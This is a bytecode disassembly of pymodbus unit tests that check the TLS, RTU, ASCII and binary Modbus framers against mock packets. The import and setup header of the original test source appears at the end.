LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST self LOAD_ATTR _tls LOAD_METHOD advanceFrame CALL_METHOD POP_TOP LOAD_GLOBAL mock LOAD_ATTR MagicMock LOAD_CONST True LOAD_CONST ('return_value',) CALL_FUNCTION LOAD_FAST self LOAD_ATTR _tls STORE_ATTR isFrameReady LOAD_GLOBAL mock LOAD_ATTR MagicMock LOAD_CONST False LOAD_CONST ('return_value',) CALL_FUNCTION STORE_FAST x LOAD_FAST x LOAD_FAST self LOAD_ATTR _tls STORE_ATTR _validate_slave_id LOAD_FAST self LOAD_ATTR _tls LOAD_METHOD processIncomingPacket LOAD_FAST msg LOAD_FAST mock_callback LOAD_FAST slave CALL_METHOD POP_TOP LOAD_FAST self LOAD_ATTR _tls LOAD_ATTR _buffer POP_JUMP_IF_FALSE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST self LOAD_ATTR _tls LOAD_METHOD advanceFrame CALL_METHOD POP_TOP LOAD_GLOBAL mock LOAD_ATTR MagicMock LOAD_CONST True LOAD_CONST ('return_value',) CALL_FUNCTION STORE_FAST x LOAD_FAST x LOAD_FAST self LOAD_ATTR _tls STORE_ATTR _validate_slave_id LOAD_FAST self LOAD_ATTR _tls LOAD_METHOD processIncomingPacket LOAD_FAST msg LOAD_FAST mock_callback LOAD_FAST slave CALL_METHOD POP_TOP LOAD_FAST msg LOAD_FAST self LOAD_ATTR _tls LOAD_ATTR _buffer COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST self LOAD_ATTR _tls LOAD_METHOD advanceFrame CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_CONST None RETURN_VALUE LOAD_BUILD_CLASS LOAD_CONST <code object MockResult at 0x7fa6d804a150, file "f.py", line 431> LOAD_CONST 'MockResult' MAKE_FUNCTION LOAD_CONST 'MockResult' CALL_FUNCTION STORE_FAST MockResult LOAD_CONST <code object mock_callback at 0x7fa6d804a660, file "f.py", line 438> LOAD_CONST 'TestTransaction.test_framer_tls_process.<locals>.mock_callback' MAKE_FUNCTION STORE_FAST mock_callback LOAD_GLOBAL mock LOAD_ATTR MagicMock LOAD_CONST None LOAD_CONST ('return_value',) CALL_FUNCTION LOAD_FAST self LOAD_ATTR _tls LOAD_ATTR decoder STORE_ATTR decode LOAD_GLOBAL pytest LOAD_METHOD raises LOAD_GLOBAL ModbusIOException CALL_METHOD SETUP_WITH to 68 POP_TOP LOAD_FAST self LOAD_ATTR _tls LOAD_METHOD _process LOAD_FAST mock_callback CALL_METHOD POP_TOP POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_FAST MockResult LOAD_CONST 1 CALL_FUNCTION STORE_FAST result LOAD_GLOBAL mock LOAD_ATTR MagicMock LOAD_FAST result LOAD_CONST ('return_value',) CALL_FUNCTION LOAD_FAST self LOAD_ATTR _tls LOAD_ATTR decoder STORE_ATTR decode LOAD_GLOBAL pytest LOAD_METHOD raises LOAD_GLOBAL InvalidMessageReceivedException CALL_METHOD SETUP_WITH to 132 POP_TOP LOAD_FAST self LOAD_ATTR _tls LOAD_ATTR _process LOAD_FAST mock_callback LOAD_CONST True LOAD_CONST ('error',) CALL_FUNCTION POP_TOP POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_FAST self LOAD_ATTR _tls LOAD_METHOD _process LOAD_FAST mock_callback CALL_METHOD POP_TOP LOAD_FAST self LOAD_ATTR _tls LOAD_ATTR _buffer POP_JUMP_IF_FALSE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'TestTransaction.test_framer_tls_process.<locals>.MockResult' STORE_NAME __qualname__ LOAD_CONST 'Mock result.' STORE_NAME __doc__ LOAD_CONST <code object __init__ at 0x7fa6d804a9c0, file "f.py", line 434> LOAD_CONST 'TestTransaction.test_framer_tls_process.<locals>.MockResult.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_CONST None RETURN_VALUE LOAD_FAST code LOAD_FAST self STORE_ATTR function_code LOAD_CONST None RETURN_VALUE LOAD_CONST None RETURN_VALUE LOAD_GLOBAL ModbusRequest CALL_FUNCTION POP_TOP LOAD_CONST b'\x01\x124\x00\x08' STORE_FAST msg LOAD_FAST msg LOAD_FAST self LOAD_ATTR _tls STORE_ATTR _buffer LOAD_FAST self LOAD_ATTR _tls LOAD_METHOD checkFrame CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL ModbusRequest CALL_FUNCTION STORE_FAST actual LOAD_FAST self LOAD_ATTR _tls LOAD_METHOD populateResult LOAD_FAST actual CALL_METHOD POP_TOP LOAD_FAST self LOAD_ATTR _tls LOAD_METHOD advanceFrame CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL ModbusRequest LOAD_ATTR encode STORE_FAST old_encode LOAD_CONST <code object <lambda> at 0x7fa6d804a0c0, file "f.py", line 467> LOAD_CONST 'TestTransaction.test_framer_tls_framer_packet.<locals>.<lambda>' MAKE_FUNCTION LOAD_GLOBAL ModbusRequest STORE_ATTR encode LOAD_GLOBAL ModbusRequest CALL_FUNCTION STORE_FAST message LOAD_CONST 1 LOAD_FAST message STORE_ATTR function_code LOAD_CONST b'\x01' STORE_FAST expected LOAD_FAST self LOAD_ATTR _tls LOAD_METHOD buildPacket LOAD_FAST message CALL_METHOD STORE_FAST actual LOAD_FAST expected LOAD_FAST actual COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST old_encode LOAD_GLOBAL ModbusRequest STORE_ATTR encode LOAD_CONST None RETURN_VALUE LOAD_CONST b'' RETURN_VALUE LOAD_FAST self LOAD_ATTR _rtu LOAD_METHOD isFrameReady CALL_METHOD POP_JUMP_IF_FALSE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST b'\x00\x01\x00' LOAD_CONST b'\x00\x00\x01\xfc\x1b' BUILD_LIST STORE_FAST msg_parts LOAD_FAST msg_parts LOAD_CONST 0 BINARY_SUBSCR LOAD_FAST self LOAD_ATTR _rtu STORE_ATTR _buffer LOAD_FAST self LOAD_ATTR _rtu LOAD_METHOD isFrameReady CALL_METHOD POP_JUMP_IF_FALSE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST self LOAD_ATTR _rtu LOAD_METHOD checkFrame CALL_METHOD POP_JUMP_IF_FALSE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST self LOAD_ATTR _rtu DUP_TOP LOAD_ATTR _buffer LOAD_FAST msg_parts LOAD_CONST 1 BINARY_SUBSCR INPLACE_ADD ROT_TWO STORE_ATTR _buffer LOAD_FAST self LOAD_ATTR _rtu LOAD_METHOD isFrameReady CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST self LOAD_ATTR _rtu LOAD_METHOD checkFrame CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST b'\x00\x01\x00\x00\x00\x01\xfc\x1b' STORE_FAST msg LOAD_FAST msg LOAD_CONST 1 LOAD_CONST -2 BUILD_SLICE BINARY_SUBSCR STORE_FAST stripped_msg LOAD_FAST msg LOAD_FAST self LOAD_ATTR _rtu STORE_ATTR _buffer LOAD_FAST self LOAD_ATTR _rtu LOAD_METHOD checkFrame CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST self LOAD_ATTR _rtu LOAD_METHOD getFrame CALL_METHOD STORE_FAST result LOAD_FAST stripped_msg LOAD_FAST result COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST self LOAD_ATTR _rtu LOAD_METHOD advanceFrame CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_CONST b'\x00\x01\x00' LOAD_CONST b'\x00\x00\x01\xfc\x1b' BUILD_LIST STORE_FAST msg_parts LOAD_CONST b'' LOAD_METHOD join LOAD_FAST msg_parts CALL_METHOD LOAD_CONST 1 LOAD_CONST -2 BUILD_SLICE BINARY_SUBSCR STORE_FAST stripped_msg LOAD_FAST msg_parts LOAD_CONST 0 BINARY_SUBSCR LOAD_FAST self LOAD_ATTR _rtu STORE_ATTR _buffer LOAD_FAST self LOAD_ATTR _rtu LOAD_METHOD checkFrame CALL_METHOD POP_JUMP_IF_FALSE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST self LOAD_ATTR _rtu DUP_TOP LOAD_ATTR _buffer LOAD_FAST msg_parts LOAD_CONST 1 BINARY_SUBSCR INPLACE_ADD ROT_TWO STORE_ATTR _buffer LOAD_FAST self LOAD_ATTR _rtu LOAD_METHOD isFrameReady CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST self LOAD_ATTR _rtu LOAD_METHOD checkFrame CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST self LOAD_ATTR _rtu LOAD_METHOD getFrame CALL_METHOD STORE_FAST result LOAD_FAST stripped_msg LOAD_FAST result COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST self LOAD_ATTR _rtu LOAD_METHOD advanceFrame CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL ModbusRequest CALL_FUNCTION STORE_FAST request LOAD_CONST b'\x00\x01\x00\x00\x00\x01\xfc\x1b' STORE_FAST msg LOAD_FAST msg LOAD_FAST self LOAD_ATTR _rtu STORE_ATTR _buffer LOAD_FAST self LOAD_ATTR _rtu LOAD_METHOD populateHeader CALL_METHOD POP_TOP LOAD_FAST self LOAD_ATTR _rtu LOAD_METHOD populateResult LOAD_FAST request CALL_METHOD POP_TOP LOAD_FAST self LOAD_ATTR _rtu LOAD_ATTR _header STORE_FAST header_dict LOAD_GLOBAL len LOAD_FAST msg CALL_FUNCTION LOAD_FAST header_dict LOAD_CONST 'len' BINARY_SUBSCR COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL int LOAD_FAST msg LOAD_CONST 0 BINARY_SUBSCR CALL_FUNCTION LOAD_FAST header_dict LOAD_CONST 'uid' BINARY_SUBSCR COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST msg LOAD_CONST -2 LOAD_CONST None BUILD_SLICE BINARY_SUBSCR LOAD_FAST header_dict LOAD_CONST 'crc' BINARY_SUBSCR COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST request LOAD_ATTR slave_id POP_JUMP_IF_FALSE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_GLOBAL ModbusRequest LOAD_ATTR encode STORE_FAST old_encode LOAD_CONST <code object <lambda> at 0x7fa6db191810, file "f.py", line 528> LOAD_CONST 'TestTransaction.test_rtu_framer_packet.<locals>.<lambda>' MAKE_FUNCTION LOAD_GLOBAL ModbusRequest STORE_ATTR encode LOAD_GLOBAL ModbusRequest CALL_FUNCTION STORE_FAST message LOAD_CONST 255 LOAD_FAST message STORE_ATTR slave_id LOAD_CONST 1 LOAD_FAST message STORE_ATTR function_code LOAD_CONST b'\xff\x01\x81\x80' STORE_FAST expected LOAD_FAST self LOAD_ATTR _rtu LOAD_METHOD buildPacket LOAD_FAST message CALL_METHOD STORE_FAST actual LOAD_FAST expected LOAD_FAST actual COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST old_encode LOAD_GLOBAL ModbusRequest STORE_ATTR encode LOAD_CONST None RETURN_VALUE LOAD_CONST b'' RETURN_VALUE LOAD_CONST b'\x00\x90\x02\x9c\x01' STORE_FAST message LOAD_FAST message LOAD_FAST self LOAD_ATTR _rtu STORE_ATTR _buffer LOAD_FAST self LOAD_ATTR _rtu LOAD_METHOD checkFrame CALL_METHOD STORE_FAST result LOAD_FAST result POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_BUILD_CLASS LOAD_CONST <code object MockResult at 0x7fa6db191f60, file "f.py", line 547> LOAD_CONST 'MockResult' MAKE_FUNCTION LOAD_CONST 'MockResult' CALL_FUNCTION STORE_FAST MockResult LOAD_CONST <code object mock_callback at 0x7fa6db1910c0, file "f.py", line 553> LOAD_CONST 'TestTransaction.test_process.<locals>.mock_callback' MAKE_FUNCTION STORE_FAST mock_callback LOAD_FAST MockResult LOAD_CONST 0 LOAD_CONST ('code',) CALL_FUNCTION STORE_FAST mock_result LOAD_GLOBAL mock LOAD_METHOD MagicMock CALL_METHOD LOAD_FAST self LOAD_ATTR _rtu STORE_ATTR getFrame LOAD_GLOBAL mock LOAD_METHOD MagicMock CALL_METHOD LOAD_FAST self LOAD_ATTR _rtu STORE_ATTR decoder LOAD_GLOBAL mock LOAD_ATTR MagicMock LOAD_FAST mock_result LOAD_CONST ('return_value',) CALL_FUNCTION LOAD_FAST self LOAD_ATTR _rtu LOAD_ATTR decoder STORE_ATTR decode LOAD_GLOBAL mock LOAD_METHOD MagicMock CALL_METHOD LOAD_FAST self LOAD_ATTR _rtu STORE_ATTR populateResult LOAD_GLOBAL mock LOAD_METHOD MagicMock CALL_METHOD LOAD_FAST self LOAD_ATTR _rtu STORE_ATTR advanceFrame LOAD_FAST self LOAD_ATTR _rtu LOAD_METHOD _process LOAD_FAST mock_callback CALL_METHOD POP_TOP LOAD_FAST self LOAD_ATTR _rtu LOAD_ATTR populateResult LOAD_METHOD assert_called_with LOAD_FAST mock_result CALL_METHOD POP_TOP LOAD_FAST self LOAD_ATTR _rtu LOAD_ATTR advanceFrame LOAD_METHOD assert_called_with CALL_METHOD POP_TOP LOAD_FAST self LOAD_ATTR _rtu LOAD_ATTR advanceFrame LOAD_ATTR called POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL mock LOAD_ATTR MagicMock LOAD_CONST None LOAD_CONST ('return_value',) CALL_FUNCTION LOAD_FAST self LOAD_ATTR _rtu LOAD_ATTR decoder STORE_ATTR decode LOAD_GLOBAL pytest LOAD_METHOD raises LOAD_GLOBAL ModbusIOException CALL_METHOD SETUP_WITH to 196 POP_TOP LOAD_FAST self LOAD_ATTR _rtu LOAD_METHOD _process LOAD_FAST mock_callback CALL_METHOD POP_TOP POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'TestTransaction.test_process.<locals>.MockResult' STORE_NAME __qualname__ LOAD_CONST 'Mock result.' STORE_NAME __doc__ LOAD_CONST <code object __init__ at 0x7fa6db191db0, file "f.py", line 550> LOAD_CONST 'TestTransaction.test_process.<locals>.MockResult.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_CONST None RETURN_VALUE LOAD_FAST code LOAD_FAST self STORE_ATTR function_code LOAD_CONST None RETURN_VALUE LOAD_CONST None RETURN_VALUE LOAD_CONST b'\x00\x01\x00\x00\x00\x01\xfc\x1b' STORE_FAST mock_data LOAD_CONST 0 STORE_FAST slave LOAD_CONST <code object mock_callback at 0x7fa6db191d20, file "f.py", line 577> LOAD_CONST 'TestTransaction.test_rtu_process_incoming_packets.<locals>.mock_callback' MAKE_FUNCTION STORE_FAST mock_callback LOAD_GLOBAL mock LOAD_METHOD MagicMock CALL_METHOD LOAD_FAST self LOAD_ATTR _rtu STORE_ATTR _buffer LOAD_GLOBAL mock LOAD_METHOD MagicMock CALL_METHOD LOAD_FAST self LOAD_ATTR _rtu STORE_ATTR _process LOAD_GLOBAL mock LOAD_ATTR MagicMock LOAD_CONST False LOAD_CONST ('return_value',) CALL_FUNCTION LOAD_FAST self LOAD_ATTR _rtu STORE_ATTR isFrameReady LOAD_FAST mock_data LOAD_FAST self LOAD_ATTR _rtu STORE_ATTR _buffer LOAD_FAST self LOAD_ATTR _rtu LOAD_METHOD processIncomingPacket LOAD_FAST mock_data LOAD_FAST mock_callback LOAD_FAST slave CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_CONST None RETURN_VALUE LOAD_CONST b':F7031389000A60\r\n' STORE_FAST msg LOAD_FAST self LOAD_ATTR _ascii LOAD_METHOD isFrameReady CALL_METHOD POP_JUMP_IF_FALSE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST self LOAD_ATTR _ascii LOAD_METHOD checkFrame CALL_METHOD POP_JUMP_IF_FALSE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST msg LOAD_FAST self LOAD_ATTR _ascii STORE_ATTR _buffer LOAD_FAST self LOAD_ATTR _ascii LOAD_METHOD isFrameReady CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST self LOAD_ATTR _ascii LOAD_METHOD checkFrame CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST self LOAD_ATTR _ascii LOAD_METHOD advanceFrame CALL_METHOD POP_TOP LOAD_FAST self LOAD_ATTR _ascii LOAD_METHOD isFrameReady CALL_METHOD POP_JUMP_IF_FALSE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST self LOAD_ATTR _ascii LOAD_METHOD checkFrame CALL_METHOD POP_JUMP_IF_FALSE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST self LOAD_ATTR _ascii LOAD_METHOD getFrame CALL_METHOD POP_JUMP_IF_FALSE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST b'sss:F7031389000A60\r\n' STORE_FAST msg LOAD_GLOBAL a2b_hex LOAD_FAST msg LOAD_CONST 6 LOAD_CONST -4 BUILD_SLICE BINARY_SUBSCR CALL_FUNCTION STORE_FAST pack LOAD_FAST msg LOAD_FAST self LOAD_ATTR _ascii STORE_ATTR _buffer LOAD_FAST self LOAD_ATTR _ascii LOAD_METHOD checkFrame CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST self LOAD_ATTR _ascii LOAD_METHOD getFrame CALL_METHOD STORE_FAST result LOAD_FAST pack LOAD_FAST result COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST self LOAD_ATTR _ascii LOAD_METHOD advanceFrame CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_CONST b'sss:F7031389' STORE_FAST msg1 LOAD_CONST b'000A60\r\n' STORE_FAST msg2 LOAD_GLOBAL a2b_hex LOAD_FAST msg1 LOAD_CONST 6 LOAD_CONST None BUILD_SLICE BINARY_SUBSCR LOAD_FAST msg2 LOAD_CONST None LOAD_CONST -4 BUILD_SLICE BINARY_SUBSCR BINARY_ADD CALL_FUNCTION STORE_FAST pack LOAD_FAST msg1 LOAD_FAST self LOAD_ATTR _ascii STORE_ATTR _buffer LOAD_FAST self LOAD_ATTR _ascii LOAD_METHOD checkFrame CALL_METHOD POP_JUMP_IF_FALSE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST self LOAD_ATTR _ascii LOAD_METHOD getFrame CALL_METHOD STORE_FAST result LOAD_FAST result POP_JUMP_IF_FALSE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST self LOAD_ATTR _ascii DUP_TOP LOAD_ATTR _buffer LOAD_FAST msg2 INPLACE_ADD ROT_TWO STORE_ATTR _buffer LOAD_FAST self LOAD_ATTR _ascii LOAD_METHOD checkFrame CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST self LOAD_ATTR _ascii LOAD_METHOD getFrame CALL_METHOD STORE_FAST result LOAD_FAST pack LOAD_FAST result COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST self LOAD_ATTR _ascii LOAD_METHOD advanceFrame CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL ModbusRequest CALL_FUNCTION STORE_FAST request LOAD_FAST self LOAD_ATTR _ascii LOAD_METHOD populateResult LOAD_FAST request CALL_METHOD POP_TOP LOAD_FAST request LOAD_ATTR slave_id POP_JUMP_IF_FALSE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_GLOBAL ModbusRequest LOAD_ATTR encode STORE_FAST old_encode LOAD_CONST <code object <lambda> at 0x7fa6db1914b0, file "f.py", line 634> LOAD_CONST 'TestTransaction.test_ascii_framer_packet.<locals>.<lambda>' MAKE_FUNCTION LOAD_GLOBAL ModbusRequest STORE_ATTR encode LOAD_GLOBAL ModbusRequest CALL_FUNCTION STORE_FAST message LOAD_CONST 255 LOAD_FAST message STORE_ATTR slave_id LOAD_CONST 1 LOAD_FAST message STORE_ATTR function_code LOAD_CONST b':FF0100\r\n' STORE_FAST expected LOAD_FAST self LOAD_ATTR _ascii LOAD_METHOD buildPacket LOAD_FAST message CALL_METHOD STORE_FAST actual LOAD_FAST expected LOAD_FAST actual COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST old_encode LOAD_GLOBAL ModbusRequest STORE_ATTR encode LOAD_CONST None RETURN_VALUE LOAD_CONST b'' RETURN_VALUE LOAD_CONST b':F7031389000A60\r\n' STORE_FAST mock_data LOAD_CONST 0 STORE_FAST slave LOAD_CONST <code object mock_callback at 0x7fa6db191300, file "f.py", line 648> LOAD_CONST 'TestTransaction.test_ascii_process_incoming_packets.<locals>.mock_callback' MAKE_FUNCTION STORE_FAST mock_callback LOAD_FAST self LOAD_ATTR _ascii LOAD_METHOD processIncomingPacket LOAD_FAST mock_data LOAD_FAST mock_callback LOAD_FAST slave CALL_METHOD POP_TOP LOAD_GLOBAL mock LOAD_ATTR MagicMock LOAD_CONST False LOAD_CONST ('return_value',) CALL_FUNCTION LOAD_FAST self LOAD_ATTR _ascii STORE_ATTR checkFrame LOAD_FAST self LOAD_ATTR _ascii LOAD_METHOD processIncomingPacket LOAD_FAST mock_data LOAD_FAST mock_callback LOAD_FAST slave CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_CONST None RETURN_VALUE LOAD_GLOBAL TEST_MESSAGE STORE_FAST msg LOAD_FAST self LOAD_ATTR _binary LOAD_METHOD isFrameReady CALL_METHOD POP_JUMP_IF_FALSE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST self LOAD_ATTR _binary LOAD_METHOD checkFrame CALL_METHOD POP_JUMP_IF_FALSE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST msg LOAD_FAST self LOAD_ATTR _binary STORE_ATTR _buffer LOAD_FAST self LOAD_ATTR _binary LOAD_METHOD isFrameReady CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST self LOAD_ATTR _binary LOAD_METHOD checkFrame CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST self LOAD_ATTR _binary LOAD_METHOD advanceFrame CALL_METHOD POP_TOP LOAD_FAST self LOAD_ATTR _binary LOAD_METHOD isFrameReady CALL_METHOD POP_JUMP_IF_FALSE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST self LOAD_ATTR _binary LOAD_METHOD checkFrame CALL_METHOD POP_JUMP_IF_FALSE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST self LOAD_ATTR _binary LOAD_METHOD getFrame CALL_METHOD POP_JUMP_IF_FALSE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_GLOBAL TEST_MESSAGE STORE_FAST msg LOAD_FAST msg LOAD_CONST 2 LOAD_CONST -3 BUILD_SLICE BINARY_SUBSCR STORE_FAST pack LOAD_FAST msg LOAD_FAST self LOAD_ATTR _binary STORE_ATTR _buffer LOAD_FAST self LOAD_ATTR _binary LOAD_METHOD checkFrame CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST self LOAD_ATTR _binary LOAD_METHOD getFrame CALL_METHOD STORE_FAST result LOAD_FAST pack LOAD_FAST result COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST self LOAD_ATTR _binary LOAD_METHOD advanceFrame CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_CONST b'{\x01\x03\x00' STORE_FAST msg1 LOAD_CONST b'\x00\x00\x05\x85\xc9}' STORE_FAST msg2 LOAD_FAST msg1 LOAD_CONST 2 LOAD_CONST None BUILD_SLICE BINARY_SUBSCR LOAD_FAST msg2 LOAD_CONST None LOAD_CONST -3 BUILD_SLICE BINARY_SUBSCR BINARY_ADD STORE_FAST pack LOAD_FAST msg1 LOAD_FAST self LOAD_ATTR _binary STORE_ATTR _buffer LOAD_FAST self LOAD_ATTR _binary LOAD_METHOD checkFrame CALL_METHOD POP_JUMP_IF_FALSE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST self LOAD_ATTR _binary LOAD_METHOD getFrame CALL_METHOD STORE_FAST result LOAD_FAST result POP_JUMP_IF_FALSE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST self LOAD_ATTR _binary DUP_TOP LOAD_ATTR _buffer LOAD_FAST msg2 INPLACE_ADD ROT_TWO STORE_ATTR _buffer LOAD_FAST self LOAD_ATTR _binary LOAD_METHOD checkFrame CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST self LOAD_ATTR _binary LOAD_METHOD getFrame CALL_METHOD STORE_FAST result LOAD_FAST pack LOAD_FAST result COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST self LOAD_ATTR _binary LOAD_METHOD advanceFrame CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL ModbusRequest CALL_FUNCTION STORE_FAST request LOAD_FAST self LOAD_ATTR _binary LOAD_METHOD populateResult LOAD_FAST request CALL_METHOD POP_TOP LOAD_FAST request LOAD_ATTR slave_id POP_JUMP_IF_FALSE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_GLOBAL ModbusRequest LOAD_ATTR encode STORE_FAST old_encode LOAD_CONST <code object <lambda> at 0x7fa6f3491420, file "f.py", line 704> LOAD_CONST 'TestTransaction.test_binary_framer_packet.<locals>.<lambda>' MAKE_FUNCTION LOAD_GLOBAL ModbusRequest STORE_ATTR encode LOAD_GLOBAL ModbusRequest CALL_FUNCTION STORE_FAST message LOAD_CONST 255 LOAD_FAST message STORE_ATTR slave_id LOAD_CONST 1 LOAD_FAST message STORE_ATTR function_code LOAD_CONST b'{\xff\x01\x81\x80}' STORE_FAST expected LOAD_FAST self LOAD_ATTR _binary LOAD_METHOD buildPacket LOAD_FAST message CALL_METHOD STORE_FAST actual LOAD_FAST expected LOAD_FAST actual COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST old_encode LOAD_GLOBAL ModbusRequest STORE_ATTR encode LOAD_CONST None RETURN_VALUE LOAD_CONST b'' RETURN_VALUE LOAD_GLOBAL TEST_MESSAGE STORE_FAST mock_data LOAD_CONST 0 STORE_FAST slave LOAD_CONST <code object mock_callback at 0x7fa6f3491780, file "f.py", line 718> LOAD_CONST 'TestTransaction.test_binary_process_incoming_packet.<locals>.mock_callback' MAKE_FUNCTION STORE_FAST mock_callback LOAD_FAST self LOAD_ATTR _binary LOAD_METHOD processIncomingPacket LOAD_FAST mock_data LOAD_FAST mock_callback LOAD_FAST slave CALL_METHOD POP_TOP LOAD_GLOBAL mock LOAD_ATTR MagicMock LOAD_CONST False LOAD_CONST ('return_value',) CALL_FUNCTION LOAD_FAST self LOAD_ATTR _binary STORE_ATTR checkFrame LOAD_FAST self LOAD_ATTR _binary LOAD_METHOD processIncomingPacket LOAD_FAST mock_data LOAD_FAST mock_callback LOAD_FAST slave CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_CONST None RETURN_VALUE
"""Test transaction.""" from binascii import a2b_hex from itertools import count from unittest import mock import pytest from pymodbus.exceptions import ( InvalidMessageReceivedException, ModbusIOException, ) from pymodbus.factory import ServerDecoder from pymodbus.pdu import ModbusRequest from pymodbus.transaction import ( DictTransactionManager, ModbusAsciiFramer, ModbusBinaryFramer, ModbusRtuFramer, ModbusSocketFramer, ModbusTlsFramer, ModbusTransactionManager, ) TEST_MESSAGE = b"\x7b\x01\x03\x00\x00\x00\x05\x85\xC9\x7d" class TestTransaction: # pylint: disable=too-many-public-methods """Unittest for the pymodbus.transaction module.""" client = None decoder = None _tcp = None _tls = None _rtu = None _ascii = None _binary = None _manager = None _tm = None def setup_method(self): """Set up the test environment.""" self.client = None self.decoder = ServerDecoder() self._tcp = ModbusSocketFramer(decoder=self.decoder, client=None) 